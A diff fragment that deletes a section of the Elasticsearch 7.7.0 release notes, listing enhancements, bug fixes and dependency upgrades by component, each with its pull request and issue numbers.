-* Always rewrite search shard request outside of the search thread pool {es-pull}51708[#51708] (issue: {es-issue}49601[#49601])
-* Move the terms index of `_id` off-heap. {es-pull}52405[#52405] (issue: {es-issue}42838[#42838])
-* Cache completion stats between refreshes {es-pull}51991[#51991] (issue: {es-issue}51915[#51915])
-* Use local checkpoint to calculate min translog gen for recovery {es-pull}51905[#51905] (issue: {es-issue}49970[#49970])
-
-Features/CAT APIs::
-* /_cat/shards support path stats {es-pull}53461[#53461]
-* Allow _cat indices & aliases to use indices options {es-pull}53248[#53248] (issue: {es-issue}52304[#52304])
-
-Features/Features::
-* Enable deprecation checks for removed settings {es-pull}53317[#53317]
-
-Features/ILM+SLM::
-* Use Priority.IMMEDIATE for stop ILM cluster update {es-pull}54909[#54909]
-* Add cluster update timeout on step retry {es-pull}54878[#54878]
-* Hide ILM & SLM history aliases {es-pull}53564[#53564]
-* Avoid race condition in ILMHistorySotre {es-pull}53039[#53039] (issues: {es-issue}50353[#50353], {es-issue}52853[#52853])
-* Make FreezeStep retryable {es-pull}52540[#52540]
-* Make DeleteStep retryable {es-pull}52494[#52494]
-* Allow forcemerge in the hot phase for ILM policies {es-pull}52073[#52073] (issue: {es-issue}43165[#43165])
-* Stop policy on last PhaseCompleteStep instead of TerminalPolicyStep {es-pull}51631[#51631] (issue: {es-issue}48431[#48431])
-* Convert ILM and SLM histories into hidden indices {es-pull}51456[#51456]
-* Make UpdateSettingsStep retryable {es-pull}51235[#51235] (issues: {es-issue}44135[#44135], {es-issue}48183[#48183])
-* Expose master timeout for ILM actions {es-pull}51130[#51130] (issue: {es-issue}44136[#44136])
-* Wait for active shards on rolled index in a separate step {es-pull}50718[#50718] (issues: {es-issue}44135[#44135], {es-issue}48183[#48183])
-* Adding best_compression {es-pull}49974[#49974]
-
-Features/Indices APIs::
-* Add IndexTemplateV2 to MetaData {es-pull}53753[#53753] (issue: {es-issue}53101[#53101])
-* Add ComponentTemplate to MetaData {es-pull}53290[#53290] (issue: {es-issue}53101[#53101])
-
-Features/Ingest::
-* Reduce log level for pipeline failure {es-pull}54097[#54097] (issue: {es-issue}51459[#51459])
-* Support array for all string ingest processors {es-pull}53343[#53343] (issue: {es-issue}51087[#51087])
-* Add empty_value parameter to CSV processor {es-pull}51567[#51567]
-* Add pipeline name to ingest metadata {es-pull}50467[#50467] (issue: {es-issue}42106[#42106])
-
-Features/Java High Level REST Client::
-* SourceExists HLRC uses GetSourceRequest instead of GetRequest {es-pull}51789[#51789] (issue: {es-issue}50885[#50885])
-* Add async_search.submit to HLRC {es-pull}53592[#53592] (issue: {es-issue}49091[#49091])
-* Add Get Source API to the HLRC {es-pull}50885[#50885] (issue: {es-issue}47678[#47678])
-
-Features/Monitoring::
-* Secure password for monitoring HTTP exporter {es-pull}50919[#50919] (issue: {es-issue}50197[#50197])
-* Validate SSL settings at parse time {es-pull}49196[#49196] (issue: {es-issue}47711[#47711])
-
-Features/Watcher::
-* Make watch history indices hidden {es-pull}52962[#52962] (issue: {es-issue}50251[#50251])
-* Upgrade to the latest OWASP HTML sanitizer {es-pull}50765[#50765] (issue: {es-issue}50395[#50395])
-
-Infra/Core::
-* Enable helpful null pointer exceptions {es-pull}54853[#54853]
-* Allow keystore add to handle multiple settings {es-pull}54229[#54229] (issue: {es-issue}54191[#54191])
-* Report parser name and location in XContent deprecation warnings {es-pull}53805[#53805]
-* Report parser name and location in XContent deprecation warnings {es-pull}53752[#53752]
-* Deprecate all variants of a ParseField with no replacement {es-pull}53722[#53722]
-* Allow specifying an exclusive set of fields on ObjectParser {es-pull}52893[#52893]
-* Support joda style date patterns in 7.x {es-pull}52555[#52555]
-* Implement hidden aliases {es-pull}52547[#52547] (issue: {es-issue}52304[#52304])
-* Allow ObjectParsers to specify required sets of fields {es-pull}49661[#49661] (issue: {es-issue}48824[#48824])
-
-Infra/Logging::
-* Capture stdout and stderr to log4j log {es-pull}50259[#50259] (issue: {es-issue}50156[#50156])
-
-Infra/Packaging::
-* Use AdoptOpenJDK API to Download JDKs {es-pull}55127[#55127] (issue: {es-issue}55125[#55125])
-* Introduce aarch64 Docker image {es-pull}53936[#53936] (issue: {es-issue}53914[#53914])
-* Introduce jvm.options.d for customizing JVM options {es-pull}51882[#51882] (issue: {es-issue}51626[#51626])
-
-Infra/Plugins::
-* Allow sha512 checksum without filename for maven plugins {es-pull}52668[#52668] (issue: {es-issue}52413[#52413])
-
-Infra/Scripting::
-* Scripting: Context script cache unlimited compile {es-pull}53769[#53769] (issue: {es-issue}50152[#50152])
-* Scripting: Increase ingest script cache defaults {es-pull}53765[#53765] (issue: {es-issue}50152[#50152])
-* Scripting: Per-context script cache, default off (#52855) {es-pull}53756[#53756] (issues: {es-issue}50152[#50152], {es-issue}52855[#52855])
-* Scripting: Per-context script cache, default off {es-pull}52855[#52855] (issue: {es-issue}50152[#50152])
-* Improve Painless compilation performance for nested conditionals {es-pull}52056[#52056]
-* Scripting: Add char position of script errors {es-pull}51069[#51069] (issue: {es-issue}50993[#50993])
-
-Infra/Settings::
-* Allow keystore add-file to handle multiple settings {es-pull}54240[#54240] (issue: {es-issue}54191[#54191])
-* Settings: AffixSettings as validator dependencies {es-pull}52973[#52973] (issue: {es-issue}52933[#52933])
-
-License::
-* Simplify ml license checking with XpackLicenseState internals {es-pull}52684[#52684] (issue: {es-issue}52115[#52115])
-* License removal leads back to a basic license {es-pull}52407[#52407] (issue: {es-issue}45022[#45022])
-* Refactor license checking {es-pull}52118[#52118] (issue: {es-issue}51864[#51864])
-* Add enterprise mode and refactor {es-pull}51864[#51864] (issue: {es-issue}51081[#51081])
-
-Machine Learning::
-* Stratified cross validation split for classification {es-pull}54087[#54087]
-* Data frame analytics data counts {es-pull}53998[#53998]
-* Verify that the field is aggregatable before attempting cardinality aggregation {es-pull}53874[#53874] (issue: {es-issue}53876[#53876])
-* Adds multi-class feature importance support {es-pull}53803[#53803]
-* Data frame analytics analysis stats {es-pull}53788[#53788]
-* Add a model memory estimation endpoint for anomaly detection {es-pull}53507[#53507] (issue: {es-issue}53219[#53219])
-* Adds new default_field_map field to trained models {es-pull}53294[#53294]
-* Improve DF analytics audits and logging {es-pull}53179[#53179]
-* Add indices_options to datafeed config and update {es-pull}52793[#52793] (issue: {es-issue}48056[#48056])
-* Parse and report memory usage for DF Analytics {es-pull}52778[#52778]
-* Adds the class_assignment_objective parameter to classification {es-pull}52763[#52763] (issue: {es-issue}52427[#52427])
-* Add reason to DataFrameAnalyticsTask updateState log message {es-pull}52659[#52659] (issue: {es-issue}52654[#52654])
-* Add support for multi-value leaves to the tree model {es-pull}52531[#52531]
-* Make ml internal indices hidden {es-pull}52423[#52423] (issue: {es-issue}52420[#52420])
-* Add _cat/ml/data_frame/analytics API {es-pull}52260[#52260] (issue: {es-issue}51413[#51413])
-* Adds feature importance option to inference processor {es-pull}52218[#52218]
-* Switch poor categorization audit warning to use status field {es-pull}52195[#52195] (issues: {es-issue}50749[#50749], {es-issue}51146[#51146], {es-issue}51879[#51879])
-* Retry persisting DF Analytics results {es-pull}52048[#52048]
-* Improve multiline_start_pattern for CSV in find_file_structure {es-pull}51737[#51737]
-* Add _cat/ml/trained_models API {es-pull}51529[#51529] (issue: {es-issue}51414[#51414])
-* Add GET _cat/ml/datafeeds {es-pull}51500[#51500] (issue: {es-issue}51411[#51411])
-* Use CSV ingest processor in find_file_structure ingest pipeline {es-pull}51492[#51492] (issue: {es-issue}56038[#56038])
-* Add _cat/ml/anomaly_detectors API {es-pull}51364[#51364]
-* Add tags url param to GET {es-pull}51330[#51330]
-* Add parsers for inference configuration classes {es-pull}51300[#51300]
-* Make datafeeds work with nanosecond time fields {es-pull}51180[#51180] (issue: {es-issue}49889[#49889])
-* Adds support for a global calendars {es-pull}50372[#50372] (issue: {es-issue}45013[#45013])
-* Speed up computation of feature importance
-{ml-pull}1005[1005]
-* Improve initialization of learn rate for better and more stable results in
-regression and classification {ml-pull}948[#948]
-* Add number of processed training samples to the definition of decision tree
-nodes {ml-pull}991[#991]
-* Add new model_size_stats fields to instrument categorization
-{ml-pull}948[#948], {es-pull}51879[#51879] (issue: {es-issue}50794[#50749])
-* Improve upfront memory estimation for all data frame analyses, which were
-higher than necessary. This will improve the allocation of data frame analyses
-to cluster nodes {ml-pull}1003[#1003]
-* Upgrade the compiler used on Linux from gcc 7.3 to gcc 7.5, and the binutils
-used in the build from version 2.20 to 2.34 {ml-pull}1013[#1013]
-* Add instrumentation of the peak memory consumption for {dfanalytics-jobs}
-{ml-pull}1022[#1022]
-* Remove all memory overheads for computing tree SHAP values {ml-pull}1023[#1023]
-* Distinguish between empty and missing categorical fields in classification and
-regression model training {ml-pull}1034[#1034]
-* Add instrumentation information for supervised learning {dfanalytics-jobs}
-{ml-pull}1031[#1031]
-* Add instrumentation information for {oldetection} data frame analytics jobs
-{ml-pull}1068[#1068]
-* Write out feature importance for multi-class models {ml-pull}1071[#1071]
-* Enable system call filtering to the native process used with {dfanalytics}
-{ml-pull}1098[#1098]
-
-Mapping::
-* Wildcard field - add normalizer support {es-pull}53851[#53851]
-* Append index name for the source of the cluster put-mapping task {es-pull}52690[#52690]
-
-Network::
-* Give helpful message on remote connections disabled {es-pull}53690[#53690]
-* Add server name to remote info API {es-pull}53634[#53634]
-* Log when probe succeeds but full connection fails {es-pull}51304[#51304]
-* Encrypt generated key with AES {es-pull}51019[#51019] (issue: {es-issue}50843[#50843])
-
-Ranking::
-* Adds recall@k metric to rank eval API {es-pull}52577[#52577] (issue: {es-issue}51676[#51676])
-
-SQL::
-* JDBC debugging enhancement {es-pull}53880[#53880]
-* Transfer version compatibility decision to the server {es-pull}53082[#53082] (issue: {es-issue}52766[#52766])
-* Use a proper error message for queries directed at empty mapping indices {es-pull}52967[#52967] (issue: {es-issue}52865[#52865])
-* Use calendar_interval of 1d for HISTOGRAMs with 1 DAY intervals {es-pull}52749[#52749] (issue: {es-issue}52713[#52713])
-* Use a calendar interval for histograms over 1 month intervals {es-pull}52586[#52586] (issue: {es-issue}51538[#51538])
-* Make parsing of date more lenient {es-pull}52137[#52137] (issue: {es-issue}49379[#49379])
-* Enhance timestamp escaped literal parsing {es-pull}52097[#52097] (issue: {es-issue}46069[#46069])
-* Handle uberjar scenario where the ES jdbc driver file is bundled in another jar {es-pull}51856[#51856] (issue: {es-issue}50201[#50201])
-* Verify Full-Text Search functions not allowed in SELECT {es-pull}51568[#51568] (issue: {es-issue}47446[#47446])
-* Extend the optimisations for equalities {es-pull}50792[#50792] (issue: {es-issue}49637[#49637])
-* Add trace logging for search responses coming from server {es-pull}50530[#50530]
-* Extend DATE_TRUNC to also operate on intervals(elastic - #46632 ) {es-pull}47720[#47720] (issue: {es-issue}46632[#46632])
-
-Search::
-* HLRC: Don't send defaults for SubmitAsyncSearchRequest {es-pull}54200[#54200]
-* Reduce performance impact of ExitableDirectoryReader {es-pull}53978[#53978] (issues: {es-issue}52822[#52822], {es-issue}53166[#53166], {es-issue}53496[#53496])
-* Add heuristics to compute pre_filter_shard_size when unspecified {es-pull}53873[#53873] (issue: {es-issue}39835[#39835])
-* Add async_search get and delete APIs to HLRC {es-pull}53828[#53828] (issue: {es-issue}49091[#49091])
-* Increase step between checks for cancellation {es-pull}53712[#53712] (issues: {es-issue}52822[#52822], {es-issue}53496[#53496])
-* Refine SearchProgressListener internal API {es-pull}53373[#53373]
-* Check for query cancellation during rewrite {es-pull}53166[#53166] (issue: {es-issue}52822[#52822])
-* Implement Cancellable DirectoryReader {es-pull}52822[#52822]
-* Address MinAndMax generics warnings {es-pull}52642[#52642] (issue: {es-issue}49092[#49092])
-* Clarify when shard iterators get sorted {es-pull}52633[#52633]
-* Generalize how queries on `_index` are handled at rewrite time {es-pull}52486[#52486] (issues: {es-issue}49254[#49254], {es-issue}49713[#49713])
-* Remove the query builder serialization from QueryShardException message {es-pull}51885[#51885] (issues: {es-issue}48910[#48910], {es-issue}51843[#51843])
-* Short circuited to MatchNone for non-participating  slice {es-pull}51207[#51207]
-* Add "did you mean" to unknown queries {es-pull}51177[#51177]
-* Exclude unmapped fields during max clause limit checking for querying {es-pull}49523[#49523] (issue: {es-issue}49002[#49002])
-
-Security::
-* Add error message in JSON response {es-pull}54389[#54389]
-
-Snapshot/Restore::
-* Use Azure Bulk Deletes in Azure Repository {es-pull}53919[#53919] (issue: {es-issue}53865[#53865])
-* Only link fd* files during source-only snapshot {es-pull}53463[#53463] (issue: {es-issue}50231[#50231])
-* Add Blob Download Retries to GCS Repository {es-pull}52479[#52479] (issues: {es-issue}46589[#46589], {es-issue}52319[#52319])
-* Better Incrementality for Snapshots of Unchanged Shards {es-pull}52182[#52182]
-* Add Region and Signer Algorithm Overrides to S3 Repos {es-pull}52112[#52112] (issue: {es-issue}51861[#51861])
-* Allow Parallel Snapshot Restore And Delete {es-pull}51608[#51608] (issue: {es-issue}41463[#41463])
-
-Store::
-* HybridDirectory should mmap postings. {es-pull}52641[#52641]
-
-Transform::
-* Transition Transforms to using hidden indices for notifcations index {es-pull}53773[#53773] (issue: {es-issue}53762[#53762])
-* Add processing stats to record the time spent for processing results {es-pull}53770[#53770]
-* Create GET _cat/transforms API Issue {es-pull}53643[#53643] (issue: {es-issue}51412[#51412])
-* Add support for script in group_by {es-pull}53167[#53167] (issue: {es-issue}43152[#43152])
-* Implement node.transform to control where to run a transform {es-pull}52712[#52712] (issues: {es-issue}48734[#48734], {es-issue}50033[#50033], {es-issue}52200[#52200])
-* Add support for filter aggregation {es-pull}52483[#52483] (issue: {es-issue}52151[#52151])
-* Provide exponential_avg* stats for batch transforms {es-pull}52041[#52041] (issue: {es-issue}52037[#52037])
-* Improve irrecoverable error detection - part 2 {es-pull}52003[#52003] (issue: {es-issue}51820[#51820])
-* Mark transform API's stable {es-pull}51862[#51862]
-* Improve irrecoverable error detection {es-pull}51820[#51820] (issue: {es-issue}50135[#50135])
-* Add support for percentile aggs {es-pull}51808[#51808] (issue: {es-issue}51663[#51663])
-* Disallow fieldnames with a dot at start and/or end {es-pull}51369[#51369]
-* Avoid mapping problems with index templates {es-pull}51368[#51368] (issue: {es-issue}51321[#51321])
-* Handle permanent bulk indexing errors {es-pull}51307[#51307] (issue: {es-issue}50122[#50122])
-* Improve force stop robustness in case of an error {es-pull}51072[#51072]
-
-
-
-[[bug-7.7.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix date_nanos in composite aggs {es-pull}53315[#53315] (issue: {es-issue}53168[#53168])
-* Fix composite agg sort bug {es-pull}53296[#53296] (issue: {es-issue}52480[#52480])
-* Decode max and min optimization more carefully {es-pull}52336[#52336] (issue: {es-issue}52220[#52220])
-* Fix a DST error in date_histogram {es-pull}52016[#52016] (issue: {es-issue}50265[#50265])
-* Use #name() instead of #simpleName() when generating doc values {es-pull}51920[#51920] (issues: {es-issue}50307[#50307], {es-issue}51847[#51847])
-* Fix a sneaky bug in rare_terms {es-pull}51868[#51868] (issue: {es-issue}51020[#51020])
-* Support time_zone on composite's date_histogram {es-pull}51172[#51172] (issues: {es-issue}45199[#45199], {es-issue}45200[#45200])
-
-Allocation::
-* Improve performance of shards limits decider {es-pull}53577[#53577] (issue: {es-issue}53559[#53559])
-
-Analysis::
-* Mask wildcard query special characters on keyword queries {es-pull}53127[#53127] (issue: {es-issue}46300[#46300])
-* Fix caching for PreConfiguredTokenFilter {es-pull}50912[#50912] (issue: {es-issue}50734[#50734])
-
-Audit::
-* Logfile audit settings validation {es-pull}52537[#52537] (issues: {es-issue}47038[#47038], {es-issue}47711[#47711], {es-issue}52357[#52357])
-
-Authentication::
-* Fix responses for the token APIs {es-pull}54532[#54532] (issue: {es-issue}53323[#53323])
-* Fix potential bug in concurrent token refresh support {es-pull}53668[#53668]
-* Respect runas realm for ApiKey security operations {es-pull}52178[#52178] (issue: {es-issue}51975[#51975])
-* Preserve ApiKey credentials for async verification {es-pull}51244[#51244]
-* Don't fallback to anonymous for tokens/apikeys {es-pull}51042[#51042] (issue: {es-issue}50171[#50171])
-* Fail gracefully on invalid token strings {es-pull}51014[#51014]
-
-Authorization::
-* Explicitly require that delegate API keys have no privileges {es-pull}53647[#53647]
-* Allow _rollup_search with read privilege {es-pull}52043[#52043] (issue: {es-issue}50245[#50245])
-
-CCR::
-* Clear recent errors when auto-follow successfully {es-pull}54997[#54997]
-* Put CCR tasks on (data && remote cluster clients) {es-pull}54146[#54146] (issue: {es-issue}53924[#53924])
-* Handle no such remote cluster exception in ccr {es-pull}53415[#53415] (issue: {es-issue}53225[#53225])
-* Fix shard follow task cleaner under security {es-pull}52347[#52347] (issues: {es-issue}44702[#44702], {es-issue}51971[#51971])
-
-CRUD::
-* Force execution of finish shard bulk request {es-pull}51957[#51957] (issue: {es-issue}51904[#51904])
-* Block too many concurrent mapping updates {es-pull}51038[#51038] (issue: {es-issue}50670[#50670])
-* Return 429 status code when there's a read_only cluster block {es-pull}50166[#50166] (issue: {es-issue}49393[#49393])
-
-Cluster Coordination::
-* Use special XContent registry for node tool {es-pull}54050[#54050] (issue: {es-issue}53549[#53549])
-* Allow static cluster.max_voting_config_exclusions {es-pull}53717[#53717] (issue: {es-issue}53455[#53455])
-* Allow joining node to trigger term bump {es-pull}53338[#53338] (issue: {es-issue}53271[#53271])
-* Ignore timeouts with single-node discovery {es-pull}52159[#52159]
-
-Distributed::
-* Execute retention lease syncs under system context {es-pull}53838[#53838] (issues: {es-issue}48430[#48430], {es-issue}53751[#53751])
-* Exclude nested documents in LuceneChangesSnapshot {es-pull}51279[#51279]
-
-Engine::
-* Update translog policy before the next safe commit {es-pull}54839[#54839] (issue: {es-issue}52223[#52223])
-* Fix doc_stats and segment_stats of ReadOnlyEngine {es-pull}53345[#53345] (issues: {es-issue}51303[#51303], {es-issue}51331[#51331])
-* Do not wrap soft-deletes reader for segment stats {es-pull}51331[#51331] (issues: {es-issue}51192[#51192], {es-issue}51303[#51303])
-* Account soft-deletes in FrozenEngine {es-pull}51192[#51192] (issue: {es-issue}50775[#50775])
-* Fixed an index corruption bug that would occur when applying deletes or updates on an index after it has been shrunk. More details can be found on the https://issues.apache.org/jira/browse/LUCENE-9300[corresponding issue].
-
-Features/CAT APIs::
-* Cat tasks output should respect time display settings {es-pull}54536[#54536]
-* Fix NPE in RestPluginsAction {es-pull}52620[#52620] (issue: {es-issue}45321[#45321])
-
-Features/ILM+SLM::
-* Ensure error handler is called during SLM retention callback failure {es-pull}55252[#55252] (issue: {es-issue}55217[#55217])
-* Ignore ILM indices in the TerminalPolicyStep {es-pull}55184[#55184] (issue: {es-issue}51631[#51631])
-* Disallow negative TimeValues {es-pull}53913[#53913] (issue: {es-issue}54041[#54041])
-* Fix null config in SnapshotLifecyclePolicy.toRequest {es-pull}53328[#53328] (issues: {es-issue}44465[#44465], {es-issue}53171[#53171])
-* Freeze step retry when not acknowledged {es-pull}53287[#53287]
-* Make the set-single-node-allocation retryable {es-pull}52077[#52077] (issue: {es-issue}43401[#43401])
-* Fix the init step to actually be retryable {es-pull}52076[#52076]
-
-Features/Indices APIs::
-* Read the index.number_of_replicas from template so that wait_for_active_shards is interpreted correctly {es-pull}54231[#54231]
-
-Features/Ingest::
-* Fix ingest pipeline _simulate api with empty docs never returns a response {es-pull}52937[#52937] (issue: {es-issue}52833[#52833])
-* Handle errors when evaluating if conditions in processors {es-pull}52543[#52543] (issue: {es-issue}52339[#52339])
-* Fix delete enrich policy bug {es-pull}52179[#52179] (issue: {es-issue}51228[#51228])
-* Fix ignore_missing in CsvProcessor {es-pull}51600[#51600]
-* Missing suffix for German Month "Juli" in Grok Pattern MONTH  {es-pull}51591[#51591] (issue: {es-issue}51579[#51579])
-* Don't overwrite target field with SetSecurityUserProcessor {es-pull}51454[#51454] (issue: {es-issue}51428[#51428])
-
-Features/Java High Level REST Client::
-* Add unsupported parameters to HLRC search request {es-pull}53745[#53745]
-* Fix AbstractBulkByScrollRequest slices parameter via Rest {es-pull}53068[#53068] (issue: {es-issue}53044[#53044])
-* Send the fields param via body instead of URL params (elastic#42232) {es-pull}48840[#48840] (issues: {es-issue}42232[#42232], {es-issue}42877[#42877])
-
-Features/Java Low Level REST Client::
-* Fix roles parsing in client nodes sniffer {es-pull}52888[#52888] (issue: {es-issue}52864[#52864])
-
-Features/Monitoring::
-* Fix NPE in cluster state collector for monitoring {es-pull}52371[#52371] (issue: {es-issue}52317[#52317])
-
-Features/Stats::
-* Switch to AtomicLong for "IngestCurrent" metric to prevent negative values {es-pull}52581[#52581] (issues: {es-issue}52406[#52406], {es-issue}52411[#52411])
-
-Features/Watcher::
-* Disable Watcher script optimization for stored scripts {es-pull}53497[#53497] (issue: {es-issue}40212[#40212])
-* The watcher indexing listener didn't handle document level exceptions. {es-pull}51466[#51466] (issue: {es-issue}32299[#32299])
-
-Geo::
-* Handle properly indexing rectangles that crosses the dateline {es-pull}53810[#53810]
-
-Highlighting::
-* Fix highlighter support in PinnedQuery and added test {es-pull}53716[#53716] (issue: {es-issue}53699[#53699])
-
-Infra/Core::
-* Make feature usage version aware {es-pull}55246[#55246] (issues: {es-issue}44589[#44589], {es-issue}55248[#55248])
-* Avoid StackOverflowError if write circular reference exception {es-pull}54147[#54147] (issue: {es-issue}53589[#53589])
-* Fix Joda compatibility in stream protocol {es-pull}53823[#53823] (issue: {es-issue}53586[#53586])
-* Avoid self-suppression on grouped action listener {es-pull}53262[#53262] (issue: {es-issue}53174[#53174])
-* Ignore virtual ethernet devices that disappear {es-pull}51581[#51581] (issue: {es-issue}49914[#49914])
-* Fix ingest timezone logic {es-pull}51215[#51215] (issue: {es-issue}51108[#51108])
-
-Infra/Logging::
-* Fix LoggingOutputStream to work on windows {es-pull}51779[#51779] (issue: {es-issue}51532[#51532])
-
-Infra/Packaging::
-* Handle special characters and spaces in JAVA_HOME path in elasticsearch-service.bat {es-pull}52676[#52676]
-* Limit _FILE env var support to specific vars {es-pull}52525[#52525] (issue: {es-issue}52503[#52503])
-* Always set default ES_PATH_CONF for package scriptlets {es-pull}51827[#51827] (issues: {es-issue}50246[#50246], {es-issue}50631[#50631])
-
-Infra/Plugins::
-* Ensure only plugin REST tests are run for plugins {es-pull}53184[#53184] (issues: {es-issue}52114[#52114], {es-issue}53183[#53183])
-
-Machine Learning::
-* Fix node serialization on GET df-nalytics stats without id {es-pull}54808[#54808] (issue: {es-issue}54807[#54807])
-* Allow force stopping failed and stopping DF analytics {es-pull}54650[#54650]
-* Take more care that normalize processes use unique named pipes {es-pull}54636[#54636] (issue: {es-issue}43830[#43830])
-* Do not fail Evaluate API when the actual and predicted fields' types differ {es-pull}54255[#54255] (issue: {es-issue}54079[#54079])
-* Get ML filters size should default to 100 {es-pull}54207[#54207] (issues: {es-issue}39976[#39976], {es-issue}54206[#54206])
-* Introduce a "starting" datafeed state for lazy jobs {es-pull}53918[#53918] (issue: {es-issue}53763[#53763])
-* Only retry persistence failures when the failure is intermittent and stop retrying when analytics job is stopping {es-pull}53725[#53725] (issue: {es-issue}53687[#53687])
-* Fix number inference models returned in x-pack info API {es-pull}53540[#53540]
-* Make classification evaluation metrics work when there is field mapping type mismatch {es-pull}53458[#53458] (issue: {es-issue}53485[#53485])
-* Perform evaluation in multiple steps when necessary {es-pull}53295[#53295]
-* Specifying missing_field_value value and using it instead of empty_string {es-pull}53108[#53108] (issue: {es-issue}1034[#1034])
-* Use event.timezone in ingest pipeline from find_file_structure {es-pull}52720[#52720] (issue: {es-issue}9458[#9458])
-* Better error when persistent task assignment disabled {es-pull}52014[#52014] (issue: {es-issue}51956[#51956])
-* Fix possible race condition starting datafeed {es-pull}51646[#51646] (issues: {es-issue}50886[#50886], {es-issue}51302[#51302])
-* Fix possible race condition when starting datafeed {es-pull}51302[#51302] (issue: {es-issue}51285[#51285])
-* Address two edge cases for categorization.GrokPatternCreator#findBestGrokMatchFromExamples {es-pull}51168[#51168]
-* Calculate results and snapshot retention using latest bucket timestamps {es-pull}51061[#51061]
-* Use largest ordered subset of categorization tokens for category reverse
-search regex {ml-pull}970[#970] (issue: {ml-issue}949[#949])
-* Account for the data frame's memory when estimating the peak memory used by
-classification and regression model training {ml-pull}996[#996]
-* Rename classification and regression parameter maximum_number_trees to
-max_trees {ml-pull}1047[#1047]
-
-Mapping::
-* Throw better exception on wrong `dynamic_templates` syntax {es-pull}51783[#51783] (issue: {es-issue}51486[#51486])
-
-Network::
-* Add support for more named curves {es-pull}55179[#55179] (issue: {es-issue}55031[#55031])
-* Allow proxy mode server name to be updated {es-pull}54107[#54107]
-* Invoke response handler on failure to send {es-pull}53631[#53631]
-* Do not log no-op reconnections at DEBUG {es-pull}53469[#53469]
-* Fix RemoteConnectionManager size() method {es-pull}52823[#52823] (issue: {es-issue}52029[#52029])
-* Remove seeds dependency for remote cluster settings {es-pull}52796[#52796]
-* Add host address to BindTransportException message {es-pull}51269[#51269] (issue: {es-issue}48001[#48001])
-
-Percolator::
-* Test percolate queries using `NOW` and sorting {es-pull}52758[#52758] (issues: {es-issue}52618[#52618], {es-issue}52748[#52748])
-* Don't index ranges including `NOW` in percolator {es-pull}52748[#52748] (issue: {es-issue}52617[#52617])
-
-Reindex::
-* Negative TimeValue fix {es-pull}54057[#54057] (issue: {es-issue}53913[#53913])
-* Allow comma separated source indices {es-pull}52044[#52044] (issue: {es-issue}51949[#51949])
-
-SQL::
-* Fix ODBC metadata for DATE & TIME data types {es-pull}55316[#55316] (issue: {es-issue}41086[#41086])
-* Fix NPE for parameterized LIKE/RLIKE {es-pull}53573[#53573] (issue: {es-issue}53557[#53557])
-* Add support for index aliases for SYS COLUMNS command {es-pull}53525[#53525] (issue: {es-issue}31609[#31609])
-* Fix issue with LIKE/RLIKE as painless script {es-pull}53495[#53495] (issue: {es-issue}53486[#53486])
-* Fix column size for IP data type {es-pull}53056[#53056] (issue: {es-issue}52762[#52762])
-* Fix sql cli sourcing of x-pack-env {es-pull}52613[#52613] (issue: {es-issue}47803[#47803])
-* Supplement input checks on received request parameters {es-pull}52229[#52229]
-* Fix issue with timezone when paginating {es-pull}52101[#52101] (issue: {es-issue}51258[#51258])
-* Fix ORDER BY on aggregates and GROUPed BY fields {es-pull}51894[#51894] (issue: {es-issue}50355[#50355])
-* Fix milliseconds handling in intervals {es-pull}51675[#51675] (issue: {es-issue}41635[#41635])
-* Fix ORDER BY YEAR() function {es-pull}51562[#51562] (issue: {es-issue}51224[#51224])
-* Change the way unsupported data types fields are handled {es-pull}50823[#50823]
-* Selecting a literal from grouped by query generates error {es-pull}41964[#41964] (issues: {es-issue}41413[#41413], {es-issue}41951[#41951])
-
-Search::
-* Improve robustness of Query Result serializations {es-pull}54692[#54692] (issue: {es-issue}54665[#54665])
-* Fix Term Vectors with artificial docs and keyword fields {es-pull}53504[#53504] (issue: {es-issue}53494[#53494])
-* Fix concurrent requests race over scroll context limit {es-pull}53449[#53449]
-* Fix pre-sorting of shards in the can_match phase {es-pull}53397[#53397]
-* Fix potential NPE in FuzzyTermsEnum {es-pull}53231[#53231] (issue: {es-issue}52894[#52894])
-* Fix inaccurate total hit count in _search/template api {es-pull}53155[#53155] (issue: {es-issue}52801[#52801])
-* Harden search context id {es-pull}53143[#53143]
-* Correct boost in `script_score` query and error on negative scores {es-pull}52478[#52478] (issue: {es-issue}48465[#48465])
-
-Snapshot/Restore::
-* Exclude Snapshot Shard Status Update Requests from Circuit Breaker {es-pull}55376[#55376] (issue: {es-issue}54714[#54714])
-* Fix Snapshot Completion Listener Lost on Master Failover {es-pull}54286[#54286]
-* Fix Non-Verbose Snapshot List Missing Empty Snapshots {es-pull}52433[#52433]
-* Fix Inconsistent Shard Failure Count in Failed Snapshots {es-pull}51416[#51416] (issue: {es-issue}47550[#47550])
-* Fix Overly Aggressive Request DeDuplication {es-pull}51270[#51270] (issue: {es-issue}51253[#51253])
-
-Store::
-* Fix synchronization in ByteSizeCachingDirectory {es-pull}52512[#52512]
-
-Transform::
-* Fixing naming in HLRC and _cat to match API content {es-pull}54300[#54300] (issue: {es-issue}53946[#53946])
-* Transform optmize date histogram {es-pull}54068[#54068] (issue: {es-issue}54254[#54254])
-* Add version guards around Transform hidden index settings {es-pull}54036[#54036] (issue: {es-issue}53931[#53931])
-* Fix NPE in derive stats if shouldStopAtNextCheckpoint is set {es-pull}52940[#52940]
-* Fix mapping deduction for scaled_float {es-pull}51990[#51990] (issue: {es-issue}51780[#51780])
-* Fix stats can return old state information if security is enabled {es-pull}51732[#51732] (issue: {es-issue}51728[#51728])
-
-
-
-[[upgrade-7.7.0]]
-[discrete]
-=== Upgrades
-
-Authentication::
-* Update oauth2-oidc-sdk to 7.0 {es-pull}52489[#52489] (issue: {es-issue}48409[#48409])
-
-Engine::
-* Upgrade to lucene 8.5.0 release {es-pull}54077[#54077]
-* Upgrade to final lucene 8.5.0 snapshot {es-pull}53293[#53293]
-* Upgrade to Lucene 8.5.0-snapshot-c4475920b08 {es-pull}52950[#52950]
-
-Features/Ingest::
-* Upgrade Tika to 1.24 {es-pull}54130[#54130] (issue: {es-issue}52402[#52402])
-
-Infra/Core::
-* Upgrade the bundled JDK to JDK 14 {es-pull}53748[#53748] (issue: {es-issue}53575[#53575])
-* Upgrade to Jackson 2.10.3 {es-pull}53523[#53523] (issues: {es-issue}27032[#27032], {es-issue}45225[#45225])
-* Update jackson-databind to 2.8.11.6 {es-pull}53522[#53522] (issue: {es-issue}45225[#45225])
-
-Infra/Packaging::
-* Upgrade the bundled JDK to JDK 13.0.2 {es-pull}51511[#51511]
-
-Security::
-* Update BouncyCastle to 1.64 {es-pull}52185[#52185]
-
-Snapshot/Restore::
-* Upgrade GCS Dependency to 1.106.0 {es-pull}54092[#54092]
